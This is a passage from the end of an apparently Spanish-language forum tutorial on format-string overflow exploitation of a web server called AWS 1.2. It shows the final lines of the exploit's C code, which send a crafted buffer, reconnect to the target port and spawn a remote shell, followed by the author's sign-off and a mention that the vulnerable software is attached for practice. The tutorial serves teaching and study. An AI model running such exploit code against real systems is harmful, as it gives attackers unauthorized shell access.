	send(s,buff,ptr,0);

	free(buff);

	close(s);

enviamos y cerramos.

	sin.sin_port = htons(Port);
	sleep(2);
	s=socket(2,1,6);
	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] exploit most likely failed");
	shell(s);

	exit(0);
}

y nos vamos.

Bueno, talvez este documento sea mas complicado de entender que los de BoF, ya que el FSoF es una tecnica diferente..
estoy seguro que mas de uno al leer los memcpy no sabian de que estaba hablando.. pero para eso esta la documentación, para que entiendan la teoria del tema..

Saludos!!

PD. La version 1.2 de AWS esta anexa, con fuente y paquete ejecutable, es vulnerable a FSoF y a RCE.. por si quieren practicar.

Autor: sirdarckcat
Fuente Original: http://foro.elhacker.net/bugs_y_exploits/taller_de_introduccion_a_bugsexploits_1deg-t103198.0.html